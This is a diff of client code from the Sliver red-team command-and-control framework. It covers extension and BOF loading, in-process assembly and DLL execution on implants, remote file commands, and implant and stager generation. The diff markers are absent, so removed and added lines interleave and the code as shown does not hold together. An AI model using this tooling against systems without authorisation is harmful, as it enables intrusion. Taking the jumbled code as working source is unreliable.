if len(session.Extensions) == 0 {
extList, err := con.Rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
Request: con.ActiveSession.Request(ctx),
})
if err != nil {
con.PrintErrorf("Error: %s\n", err.Error())
return err
}
if extList.Response != nil && extList.Response.Err != "" {
return errors.New(extList.Response.Err)
}
extensionList = extList.Names
} else {
extensionList = session.Extensions
}
depLoaded := false
for _, extName := range extensionList {
if !depLoaded && extName == ext.DependsOn {
depLoaded = true
}
if ext.Name == extName {
return nil
}
}
// Extension not found, let's load it
if filepath.Ext(binPath) == ".o" {
// BOFs are not loaded by the DLL loader, but we make sure the loader itself is loaded
// Auto load the coff loader if we have it
if !depLoaded {
if errLoad := loadDep(session, con, ctx, ext.DependsOn); errLoad != nil {
return errLoad
}
}
return nil
}
binData, err := ioutil.ReadFile(binPath)
if err != nil {
return err
}
if errRegister := registerExtension(con, ext, binData, session, ctx); errRegister != nil {
return errRegister
}
// Update session info
if filepath.Ext(binPath) != ".o" {
// Don't update session for BOFs, we don't cache them
// on the implant side (yet)
// update the Session info
_, err = con.Rpc.UpdateSession(context.Background(), &clientpb.UpdateSession{
Extensions: extensionList,
SessionID: session.ID,
})
if err != nil {
con.PrintErrorf("Error: %s\n", err.Error())
return err
}
}
return nil
}
func registerExtension(con *console.SliverConsoleClient, ext *extensionCommand, binData []byte, session *clientpb.Session, ctx *grumble.Context) error {
registerResp, err := con.Rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{
Name: ext.Name,
Data: binData,
OS: session.OS,
Init: ext.Init,
Request: con.ActiveSession.Request(ctx),
})
if err != nil {
return err
}
if registerResp.Response != nil && registerResp.Response.Err != "" {
return errors.New(registerResp.Response.Err)
}
return nil
}
func loadDep(session *clientpb.Session, con *console.SliverConsoleClient, ctx *grumble.Context, depName string) error {
depExt, f := commandMap[depName]
if f {
depBinPath, err := depExt.getFileForTarget(depExt.Name, session.OS, session.Arch)
if err != nil {
return err
}
depBinData, err := ioutil.ReadFile(depBinPath)
if err != nil {
return err
}
return registerExtension(con, &depExt, depBinData, session, ctx)
}
return fmt.Errorf("missing dependency %s", depName)
}
func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var (
callExtension *sliverpb.CallExtension
err error
extensionArgs []byte
extName string
entryPoint string
)
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
ext, ok := commandMap[ctx.Command.Name]
if !ok {
con.PrintErrorf("No extension command found for `%s` command\n", ctx.Command.Name)
return
}
binPath, err := ext.getFileForTarget(ctx.Command.Name, session.GetOS(), session.GetArch())
if err != nil {
con.PrintErrorf("%s\n", err)
if err = loadExtension(ctx, session, con, &ext); err != nil {
return
}
c, err := ext.getCommandFromName(ctx.Command.Name)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
var args string
if len(c.DefaultArgs) != 0 {
args = c.DefaultArgs
}
if len(ctx.Args.StringList("arguments")) > 0 {
args = strings.Join(ctx.Args.StringList("arguments"), " ")
}
entryPoint := c.Entrypoint
processName := ctx.Flags.String("process")
if processName == "" {
processName, err = c.getDefaultProcess(session.GetOS())
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
isDLL := false
if filepath.Ext(binPath) == ".dll" {
isDLL = true
}
binData, err := ioutil.ReadFile(binPath)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
var outFilePath *os.File
if ctx.Flags.Bool("save") {
outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
@@ -248,85 +314,142 @@ func runExtensionCommand(ctx *grumble.Context, con *console.SliverConsoleClient)
return
}
}
if c.IsAssembly {
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, args)
con.SpinUntil(msg, ctrl)
executeAssemblyResp, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
Request: con.ActiveSession.Request(ctx),
IsDLL: isDLL,
Process: processName,
Arguments: args,
Assembly: binData,
Arch: ctx.Flags.String("arch"),
Method: ctx.Flags.String("method"),
ClassName: ctx.Flags.String("class"),
AppDomain: ctx.Flags.String("app-domain"),
})
ctrl <- true
<-ctrl
binPath, err := ext.getFileForTarget(ctx.Command.Name, session.OS, session.Arch)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
isBOF := filepath.Ext(binPath) == ".o"
// BOFs (Beacon Object Files) are a specific kind of extensions
// that require another extension (a COFF loader) to be present.
// BOFs also have strongly typed arguments that need to be parsed in the proper way.
// This block will pack both the BOF data and its arguments into a single buffer that
// the loader will extract and load.
if isBOF {
// Beacon Object File -- requires a COFF loader
extensionArgs, err = getBOFArgs(ctx, binPath, ext)
if err != nil {
con.PrintErrorf("%s\n", err)
con.PrintErrorf("Error: %s\n", err)
return
}
con.PrintInfof("Output:\n%s", string(executeAssemblyResp.GetOutput()))
if outFilePath != nil {
outFilePath.Write(executeAssemblyResp.GetOutput())
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
} else if c.IsReflective {
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, args)
con.SpinUntil(msg, ctrl)
spawnDllResp, err := con.Rpc.SpawnDll(context.Background(), &sliverpb.InvokeSpawnDllReq{
Request: con.ActiveSession.Request(ctx),
Args: strings.Trim(args, " "),
Data: binData,
ProcessName: processName,
EntryPoint: c.Entrypoint,
Kill: true,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Output:\n%s", spawnDllResp.GetResult())
if outFilePath != nil {
outFilePath.Write([]byte(spawnDllResp.GetResult()))
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
extName = ext.DependsOn
entryPoint = commandMap[extName].Entrypoint // should exist at this point
} else {
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, args)
con.SpinUntil(msg, ctrl)
sideloadResp, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
Request: con.ActiveSession.Request(ctx),
Args: args,
Data: binData,
EntryPoint: entryPoint,
ProcessName: processName,
Kill: true,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Output:\n%s", sideloadResp.GetResult())
// Regular DLL
extArgs := strings.Join(ctx.Args.StringList("arguments"), " ")
extensionArgs = []byte(extArgs)
extName = ext.Name
entryPoint = ext.Entrypoint
}
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s ...", ctx.Command.Name)
con.SpinUntil(msg, ctrl)
callExtension, err = con.Rpc.CallExtension(context.Background(), &sliverpb.CallExtensionReq{
Name: extName,
Export: entryPoint,
Args: extensionArgs,
Request: con.ActiveSession.Request(ctx),
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("Error: %s\n", err.Error())
return
}
if callExtension.Response != nil && callExtension.Response.Err != "" {
con.PrintErrorf("Error: %s\n", callExtension.Response.Err)
return
}
con.PrintInfof("Successfully executed %s\n", extName)
if len(callExtension.Output) > 0 {
con.PrintInfof("Got output:\n%s", string(callExtension.Output))
if outFilePath != nil {
outFilePath.Write([]byte(sideloadResp.GetResult()))
outFilePath.Write(callExtension.Output)
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
}
}
func getBOFArgs(ctx *grumble.Context, binPath string, ext extensionCommand) ([]byte, error) {
var extensionArgs []byte
binData, err := ioutil.ReadFile(binPath)
if err != nil {
return nil, err
}
argsBuffer := BOFArgsBuffer{
Buffer: new(bytes.Buffer),
}
// Parse BOF arguments from grumble
for _, arg := range ext.Arguments {
switch arg.Type {
case "int":
val := ctx.Args.Int(arg.Name)
err = argsBuffer.AddInt(uint32(val))
if err != nil {
return nil, err
}
case "short":
val := ctx.Args.Int(arg.Name)
err = argsBuffer.AddShort(uint16(val))
if err != nil {
return nil, err
}
case "string":
val := ctx.Args.String(arg.Name)
err = argsBuffer.AddString(val)
if err != nil {
return nil, err
}
case "wstring":
val := ctx.Args.String(arg.Name)
err = argsBuffer.AddWString(val)
if err != nil {
return nil, err
}
// Adding support for filepaths so we can
// send binary data like shellcodes to BOFs
case "file":
val := ctx.Args.String(arg.Name)
data, err := ioutil.ReadFile(val)
if err != nil {
return nil, err
}
err = argsBuffer.AddData(data)
if err != nil {
return nil, err
}
}
}
parsedArgs, err := argsBuffer.GetBuffer()
if err != nil {
return nil, err
}
// Now build the extension's argument buffer
extensionArgsBuffer := BOFArgsBuffer{
Buffer: new(bytes.Buffer),
}
err = extensionArgsBuffer.AddString(ext.Entrypoint)
if err != nil {
return nil, err
}
err = extensionArgsBuffer.AddData(binData)
if err != nil {
return nil, err
}
err = extensionArgsBuffer.AddData(parsedArgs)
if err != nil {
return nil, err
}
extensionArgs, err = extensionArgsBuffer.GetBuffer()
if err != nil {
return nil, err
}
return extensionArgs, nil
}
func cmdExists(name string, app *grumble.App) bool {
for _, c := range app.Commands().All() {
if name == c.Name {
@@ -337,5 +460,66 @@ func cmdExists(name string, app *grumble.App) bool {
}
func init() {
commandMap = make(map[string]extension)
commandMap = make(map[string]extensionCommand)
}
// BOF Specific code
type BOFArgsBuffer struct {
Buffer *bytes.Buffer
}
func (b *BOFArgsBuffer) AddData(d []byte) error {
dataLen := uint32(len(d))
err := binary.Write(b.Buffer, binary.LittleEndian, &dataLen)
if err != nil {
return err
}
return binary.Write(b.Buffer, binary.LittleEndian, &d)
}
func (b *BOFArgsBuffer) AddShort(d uint16) error {
return binary.Write(b.Buffer, binary.LittleEndian, &d)
}
func (b *BOFArgsBuffer) AddInt(d uint32) error {
return binary.Write(b.Buffer, binary.LittleEndian, &d)
}
func (b *BOFArgsBuffer) AddString(d string) error {
stringLen := uint32(len(d)) + 1
err := binary.Write(b.Buffer, binary.LittleEndian, &stringLen)
if err != nil {
return err
}
dBytes := append([]byte(d), 0x00)
return binary.Write(b.Buffer, binary.LittleEndian, dBytes)
}
func (b *BOFArgsBuffer) AddWString(d string) error {
encoder := unicode.UTF16(unicode.LittleEndian, unicode.IgnoreBOM).NewEncoder()
strBytes := append([]byte(d), 0x00)
utf16Data, err := encoder.Bytes(strBytes)
if err != nil {
return err
}
stringLen := uint32(len(utf16Data))
err = binary.Write(b.Buffer, binary.LittleEndian, &stringLen)
if err != nil {
return err
}
return binary.Write(b.Buffer, binary.LittleEndian, utf16Data)
}
func (b *BOFArgsBuffer) GetBuffer() ([]byte, error) {
outBuffer := new(bytes.Buffer)
err := binary.Write(outBuffer, binary.LittleEndian, uint32(b.Buffer.Len()))
if err != nil {
return nil, err
}
err = binary.Write(outBuffer, binary.LittleEndian, b.Buffer.Bytes())
if err != nil {
return nil, err
}
return outBuffer.Bytes(), nil
}
+7 -1
View File
@@ -20,6 +20,7 @@ package filesystem
import (
"context"
"encoding/hex"
"fmt"
"os"
@@ -33,6 +34,7 @@ import (
"github.com/desertbit/grumble"
)
// CatCmd - Display the contents of a remote file
func CatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
@@ -65,7 +67,11 @@ func CatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.Println(string(download.Data))
}
} else {
con.Println(string(download.Data))
if ctx.Flags.Bool("hex") {
con.Println(hex.Dump(download.Data))
} else {
con.Println(string(download.Data))
}
}
// if ctx.Flags.Bool("loot") && 0 < len(download.Data) {
// err = AddLootFile(rpc, fmt.Sprintf("[cat] %s", filepath.Base(filePath)), filePath, download.Data, false)
+1
View File
@@ -27,6 +27,7 @@ import (
"github.com/desertbit/grumble"
)
// CdCmd - Change directory on the remote system
func CdCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
+2 -1
View File
@@ -25,14 +25,15 @@ import (
"path"
"path/filepath"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util/encoders"
"gopkg.in/AlecAivazis/survey.v1"
"github.com/desertbit/grumble"
)
// DownloadCmd - Download a file from the remote system
func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
+126 -10
View File
@@ -19,11 +19,14 @@ package filesystem
*/
import (
"bytes"
"context"
"fmt"
"io"
"path/filepath"
"sort"
"strings"
"text/tabwriter"
"time"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -32,6 +35,7 @@ import (
"github.com/desertbit/grumble"
)
// LsCmd - List the contents of a remote directory
func LsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
@@ -39,6 +43,45 @@ func LsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
remotePath := ctx.Args.String("path")
filter := ""
/*
Check to see if the remote path is a filter or contains a filter.
If the path passes the test to be a filter, then it is a filter
because paths are not valid filters.
*/
if remotePath != "." {
// Check if the path contains a filter
// Test on a standardized version of the path (change any \ to /)
testPath := strings.Replace(remotePath, "\\", "/", -1)
/*
Cannot use the path or filepath libraries because the OS
of the client does not necessarily match the OS of the
implant
*/
lastSeparatorOccurence := strings.LastIndex(testPath, "/")
if lastSeparatorOccurence == -1 {
// Then this is only a filter
filter = remotePath
remotePath = "."
} else {
// Then we need to test for a filter on the end of the string
// The indicies should be the same because we did not change the length of the string
baseDir := remotePath[:lastSeparatorOccurence]
potentialFilter := remotePath[lastSeparatorOccurence+1:]
_, err := filepath.Match(potentialFilter, "")
if err == nil {
// Then we have a filter on the end of the path
remotePath = baseDir
filter = potentialFilter
}
}
}
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: con.ActiveSession.Request(ctx),
@@ -47,21 +90,94 @@ func LsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if err != nil {
con.PrintWarnf("%s\n", err)
} else {
PrintLs(con.App.Stdout(), ls)
PrintLs(ls, con, ctx.Flags, filter)
}
}
func PrintLs(stdout io.Writer, ls *sliverpb.Ls) {
fmt.Fprintf(stdout, "%s\n", ls.Path)
fmt.Fprintf(stdout, "%s\n", strings.Repeat("=", len(ls.Path)))
// PrintLs - Display an sliverpb.Ls object
func PrintLs(ls *sliverpb.Ls, con *console.SliverConsoleClient, flags grumble.FlagMap, filter string) {
con.Printf("%s\n", ls.Path)
con.Printf("%s\n", strings.Repeat("=", len(ls.Path)))
table := tabwriter.NewWriter(stdout, 0, 2, 2, ' ', 0)
for _, fileInfo := range ls.Files {
if fileInfo.IsDir {
fmt.Fprintf(table, "%s\t<dir>\t\n", fileInfo.Name)
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
// Extract the flags
reverseSort := flags.Bool("reverse")
sortByTime := flags.Bool("modified")
sortBySize := flags.Bool("size")
/*
By default, name sorting is case sensitive. Upper case entries come before
lower case ones. Instead, we will level the playing field and sort
regardless of case
*/
if reverseSort {
sort.SliceStable(ls.Files, func(i, j int) bool {
return strings.ToLower(ls.Files[i].Name) > strings.ToLower(ls.Files[j].Name)
})
} else {
sort.SliceStable(ls.Files, func(i, j int) bool {
return strings.ToLower(ls.Files[i].Name) < strings.ToLower(ls.Files[j].Name)
})
}
/*
After names are sorted properly, take care of the modified time if the
user wants to sort by time. Doing this after sorting by name
will make the time sorted entries properly sorted by name if times are equal.
*/
if sortByTime {
if reverseSort {
sort.SliceStable(ls.Files, func(i, j int) bool {
return ls.Files[i].ModTime > ls.Files[j].ModTime
})
} else {
fmt.Fprintf(table, "%s\t%s\t\n", fileInfo.Name, util.ByteCountBinary(fileInfo.Size))
sort.SliceStable(ls.Files, func(i, j int) bool {
return ls.Files[i].ModTime < ls.Files[j].ModTime
})
}
} else if sortBySize {
if reverseSort {
sort.SliceStable(ls.Files, func(i, j int) bool {
return ls.Files[i].Size > ls.Files[j].Size
})
} else {
sort.SliceStable(ls.Files, func(i, j int) bool {
return ls.Files[i].Size < ls.Files[j].Size
})
}
}
for _, fileInfo := range ls.Files {
if filter != "" {
fileMatch, err := filepath.Match(filter, fileInfo.Name)
if err != nil {
/*
This should not happen because we checked the filter
before reaching out to the implant.
*/
con.PrintErrorf("%s is not a valid filter: %s\n", filter, err)
break
}
if !fileMatch {
continue
}
}
modTime := time.Unix(fileInfo.ModTime, 0)
implantLocation := time.FixedZone(ls.Timezone, int(ls.TimezoneOffset))
modTime = modTime.In(implantLocation)
if fileInfo.IsDir {
fmt.Fprintf(table, "%s\t%s\t<dir>\t%s\n", fileInfo.Mode, fileInfo.Name, modTime.Format(time.RubyDate))
} else {
fmt.Fprintf(table, "%s\t%s\t%s\t%s\n", fileInfo.Mode, fileInfo.Name, util.ByteCountBinary(fileInfo.Size), modTime.Format(time.RubyDate))
}
}
table.Flush()
con.Printf("%s\n", outputBuf.String())
}
+1
View File
@@ -27,6 +27,7 @@ import (
"github.com/desertbit/grumble"
)
// MkdirCmd - Make a remote directory
func MkdirCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
+1
View File
@@ -27,6 +27,7 @@ import (
"github.com/desertbit/grumble"
)
// PwdCmd - Print the remote working directory
func PwdCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
+1
View File
@@ -27,6 +27,7 @@ import (
"github.com/desertbit/grumble"
)
// RmCmd - Remove a directory from the remote file system
func RmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
+3
View File
@@ -32,6 +32,7 @@ import (
"github.com/desertbit/grumble"
)
// UploadCmd - Upload a file to the remote system
func UploadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
@@ -40,6 +41,7 @@ func UploadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
localPath := ctx.Args.String("local-path")
remotePath := ctx.Args.String("remote-path")
isIOC := ctx.Flags.Bool("ioc")
if localPath == "" {
con.PrintErrorf("Missing parameter, see `help upload`\n")
@@ -69,6 +71,7 @@ func UploadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
Path: dst,
Data: uploadGzip,
Encoder: "gzip",
IsIOC: isIOC,
})
ctrl <- true
<-ctrl
+1
View File
@@ -13,6 +13,7 @@ import (
"github.com/desertbit/grumble"
)
// CanariesCmd - Display canaries from the database and their status
func CanariesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
canaries, err := con.Rpc.Canaries(context.Background(), &commonpb.Empty{})
if err != nil {
+1
View File
@@ -8,6 +8,7 @@ import (
"github.com/desertbit/grumble"
)
// GenerateInfoCmd - Display information about the Sliver server's compiler configuration
func GenerateInfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
compiler, err := con.Rpc.GetCompiler(context.Background(), &commonpb.Empty{})
if err != nil {
@@ -16,6 +16,7 @@ import (
"github.com/desertbit/grumble"
)
// GenerateStagerCmd - Generate a stager using Metasploit
func GenerateStagerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var stageProto clientpb.StageProtocol
lhost := ctx.Flags.String("lhost")
+94 -14
View File
@@ -30,6 +30,7 @@ import (
"path"
"path/filepath"
"regexp"
"runtime"
"strings"
"time"
@@ -42,20 +43,35 @@ import (
)
const (
DefaultMTLSLPort = 8888
DefaultWGLPort = 53
DefaultWGNPort = 8888
DefaultWGKeyExPort = 1337
DefaultHTTPLPort = 80
DefaultHTTPSLPort = 443
DefaultDNSLPort = 53
// DefaultMTLSLPort is the default port for mtls
DefaultMTLSLPort = 8888
// DefaultWGPort is the default port for wg
DefaultWGLPort = 53
// DefaultWGNPort is the default n port for wg
DefaultWGNPort = 8888
// DefaultWGKeyExPort is the default port for wg key exchange
DefaultWGKeyExPort = 1337
// DefaultHTTPLPort is the default port for http
DefaultHTTPLPort = 80
// DefaultHTTPSLPort is the default port for https
DefaultHTTPSLPort = 443
// DefaultDNSLPortis the default port for dns
DefaultDNSLPort = 53
// DefaultTCPPivotPort is the default port for tcp pivots
DefaultTCPPivotPort = 9898
// DefaultReconnect is the default reconnect time
DefaultReconnect = 60
DefaultPoll = 1
// DefaultPoll is the default poll interval
DefaultPoll = 1
// DefaultMaxErrors is the default max reconnection errors before giving up
DefaultMaxErrors = 1000
)
const (
crossCompilerInfoURL = "https://github.com/BishopFox/sliver/wiki/Cross-Compiling-Implants"
)
var (
// SupportedCompilerTargets - Supported compiler targets
SupportedCompilerTargets = map[string]bool{
@@ -93,6 +109,7 @@ var (
// }
)
// GenerateCmd - The main command used to generate implant binaries
func GenerateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
config := parseCompileFlags(ctx, con)
if config == nil {
@@ -251,14 +268,18 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
}
targetOS := strings.ToLower(ctx.Flags.String("os"))
arch := strings.ToLower(ctx.Flags.String("arch"))
targetOS, arch = getTargets(targetOS, arch, con)
if targetOS == "" || arch == "" {
targetArch := strings.ToLower(ctx.Flags.String("arch"))
targetOS, targetArch = getTargets(targetOS, targetArch, con)
if targetOS == "" || targetArch == "" {
return nil
}
if len(namedPipeC2) > 0 && targetOS != "windows" {
con.PrintErrorf("Named pipe pivoting can only be used in Windows.")
return nil
}
if len(namedPipeC2) > 0 && targetOS != "windows" {
con.PrintErrorf("Named pipe pivoting can only be used in Windows.")
// Check to see if we can *probably* build the target binary
if !checkBuildTargetCompatibility(configFormat, targetOS, targetArch, con) {
return nil
}
@@ -275,7 +296,7 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
config := &clientpb.ImplantConfig{
GOOS: targetOS,
GOARCH: arch,
GOARCH: targetArch,
Name: name,
Debug: ctx.Flags.Bool("debug"),
Evasion: ctx.Flags.Bool("evasion"),
@@ -543,3 +564,62 @@ func getLimitsString(config *clientpb.ImplantConfig) string {
}
return strings.Join(limits, "; ")
}
func checkBuildTargetCompatibility(format clientpb.OutputFormat, targetOS string, targetArch string, con *console.SliverConsoleClient) bool {
if format == clientpb.OutputFormat_EXECUTABLE {
return true // We don't need cross-compilers when targeting EXECUTABLE formats
}
compilers, err := con.Rpc.GetCompiler(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintWarnf("Failed to check target compatibility: %s\n", err)
return true
}
if runtime.GOOS != "windows" && targetOS == "windows" {
if !hasCC(targetOS, targetArch, compilers.CrossCompilers) {
return warnMissingCrossCompiler(format, targetOS, targetArch, con)
}
}
if runtime.GOOS != "darwin" && targetOS == "darwin" {
if !hasCC(targetOS, targetArch, compilers.CrossCompilers) {
return warnMissingCrossCompiler(format, targetOS, targetArch, con)
}
}
if runtime.GOOS != "linux" && targetOS == "linux" {
if !hasCC(targetOS, targetArch, compilers.CrossCompilers) {
return warnMissingCrossCompiler(format, targetOS, targetArch, con)
}
}
return true
}
func hasCC(targetOS string, targetArch string, crossCompilers []*clientpb.CrossCompiler) bool {
for _, cc := range crossCompilers {
if cc.GetTargetGOOS() == targetOS && cc.GetTargetGOARCH() == targetArch {
return true
}
}
return false
}
func warnMissingCrossCompiler(format clientpb.OutputFormat, targetOS string, targetArch string, con *console.SliverConsoleClient) bool {
con.PrintWarnf("WARNING: Missing cross-compiler for %s on %s/%s\n", nameOfOutputFormat(format), targetOS, targetArch)
switch targetOS {
case "windows":
con.PrintWarnf("The server cannot find an installation of mingw")
case "darwin":
con.PrintWarnf("The server cannot find an installation of osxcross")
case "linux":
con.PrintWarnf("The server cannot find an installation of musl-cross")
}
con.PrintWarnf("For more information please read %s\n", crossCompilerInfoURL)
confirm := false
prompt := &survey.Confirm{Message: "Try to compile anyways (will likely fail)?"}
survey.AskOne(prompt, &confirm, nil)
return confirm
}
+1
View File
@@ -8,6 +8,7 @@ import (
"github.com/bishopfox/sliver/protobuf/commonpb"
)
// GetSliverBinary - Get the binary of an implant based on it's profile
func GetSliverBinary(profile *clientpb.ImplantProfile, con *console.SliverConsoleClient) ([]byte, error) {
var data []byte
// get implant builds
+1
View File
@@ -8,6 +8,7 @@ import (
"github.com/desertbit/grumble"
)
// ImplantsRmCmd - Deletes an archived implant build from the server
func ImplantsRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
_, err := con.Rpc.DeleteImplantBuild(context.Background(), &clientpb.DeleteReq{
Name: ctx.Args.String("implant-name"),
+1
View File
@@ -32,6 +32,7 @@ import (
"github.com/desertbit/grumble"
)
// ImplantsCmd - Displays archived implant builds
func ImplantsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
builds, err := con.Rpc.ImplantBuilds(context.Background(), &commonpb.Empty{})
if err != nil {
@@ -28,6 +28,7 @@ import (
"github.com/desertbit/grumble"
)
// ProfilesGenerateCmd - Generate an implant binary based on a profile
func ProfilesGenerateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
name := ctx.Flags.String("name")
if name == "" {
+1
View File
@@ -8,6 +8,7 @@ import (
"github.com/desertbit/grumble"
)
// ProfilesNewCmd - Create a new implant profile
func ProfilesNewCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
name := ctx.Flags.String("profile-name")
if name == "" {
+1
View File
@@ -8,6 +8,7 @@ import (
"github.com/desertbit/grumble"
)
// ProfilesRmCmd - Delete an implant profile
func ProfilesRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
_, err := con.Rpc.DeleteImplantProfile(context.Background(), &clientpb.DeleteReq{
Name: ctx.Args.String("profile-name"),
+1
View File
@@ -32,6 +32,7 @@ import (
"github.com/desertbit/grumble"
)
// ProfilesCmd - Display implant profiles
func ProfilesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
profiles := getImplantProfiles(con)
if profiles == nil {
+1
View File
@@ -28,6 +28,7 @@ import (
"github.com/desertbit/grumble"
)
// RegenerateCmd - Download an archived implant build/binary
func RegenerateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
save := ctx.Flags.String("save")
if save == "" {
+2 -1
View File
@@ -29,6 +29,7 @@ import (
"github.com/desertbit/grumble"
)
// HelpCmd - Returns an instance of the 'help' command
func HelpCmd(con *console.SliverConsoleClient) func(a *grumble.App, shell bool) {
return func(a *grumble.App, shell bool) {
printHelp(con)
@@ -49,7 +50,7 @@ func printHelp(con *console.SliverConsoleClient) {
continue
}
} else {
if key == consts.SliverHelpGroup || key == consts.SliverWinHelpGroup || key == consts.ExtensionHelpGroup {
if key == consts.SliverHelpGroup || key == consts.SliverWinHelpGroup || key == consts.MacroHelpGroup || key == consts.ExtensionHelpGroup {
continue
}
}
+145 -26
View File
@@ -24,12 +24,17 @@ package help
import (
"bytes"
"fmt"
"strings"
"text/template"
consts "github.com/bishopfox/sliver/client/constants"
)
const (
sep = "."
)
var (
// NOTE: For sub-commands use a "." hierarchy, for example root.sub for "sub" help
@@ -66,30 +71,37 @@ var (
consts.MigrateStr: migrateHelp,
consts.SideloadStr: sideloadHelp,
consts.TerminateStr: terminateHelp,
consts.LoadExtensionStr: loadExtensionHelp,
consts.LoadMacroStr: loadMacrosHelp,
consts.PsExecStr: psExecHelp,
consts.BackdoorStr: backdoorHelp,
consts.SpawnDllStr: spawnDllHelp,
consts.WebsitesStr: websitesHelp,
consts.ScreenshotStr: screenshotHelp,
consts.MakeTokenStr: makeTokenHelp,
consts.GetEnvStr: getEnvHelp,
consts.SetEnvStr: setEnvHelp,
consts.RegistryWriteStr: regWriteHelp,
consts.RegistryReadStr: regReadHelp,
consts.RegistryCreateKeyStr: regCreateKeyHelp,
consts.PivotsListStr: pivotListHelp,
consts.WgPortFwdStr: wgPortFwdHelp,
consts.WgSocksStr: wgSocksHelp,
consts.SSHStr: sshHelp,
consts.WebsitesStr: websitesHelp,
consts.ScreenshotStr: screenshotHelp,
consts.MakeTokenStr: makeTokenHelp,
consts.EnvStr: getEnvHelp,
consts.EnvStr + sep + consts.SetStr: setEnvHelp,
consts.RegistryWriteStr: regWriteHelp,
consts.RegistryReadStr: regReadHelp,
consts.RegistryCreateKeyStr: regCreateKeyHelp,
consts.PivotsListStr: pivotListHelp,
consts.WgPortFwdStr: wgPortFwdHelp,
consts.WgSocksStr: wgSocksHelp,
consts.SSHStr: sshHelp,
consts.DLLHijackStr: dllHijackHelp,
consts.GetPrivsStr: getPrivsHelp,
// Loot
consts.LootStr: lootHelp,
// Profiles
consts.ProfilesStr + "." + consts.NewStr: newProfileHelp,
consts.ProfilesStr + "." + consts.GenerateStr: generateProfileHelp,
consts.ProfilesStr + sep + consts.NewStr: newProfileHelp,
consts.ProfilesStr + sep + consts.GenerateStr: generateProfileHelp,
// Reactions
consts.ReactionStr: reactionHelp,
consts.ReactionStr + sep + consts.SetStr: reactionSetHelp,
consts.ReactionStr + sep + consts.UnsetStr: reactionUnsetHelp,
}
jobsHelp = `[[.Bold]]Command:[[.Normal]] jobs <options>
@@ -224,7 +236,31 @@ c2 message round trip to ensure the remote Sliver is still responding to command
[[.Bold]]About:[[.Normal]] Kill a remote sliver process (does not delete file).`
lsHelp = `[[.Bold]]Command:[[.Normal]] ls <remote path>
[[.Bold]]About:[[.Normal]] List remote files in current directory, or path if provided.`
[[.Bold]]About:[[.Normal]] List remote files in current directory, or path if provided.
[[.Bold]][[.Underline]]Sorting[[.Normal]]
Directory and file listings are sorted by name in ascending order by default. Listings can also be sorted by size (-s) and modified time (-m). All sorts can be reversed with -r.
[[.Bold]][[.Underline]]Filters[[.Normal]]
Filters are a way to limit search results to directory and file names matching given criteria.
Filters are specified after the path. A blank path will filter on names in the current directory. For example:
/etc/passwd will display the listing for /etc/passwd. "/etc/" is the path, and "passwd" is the filter.
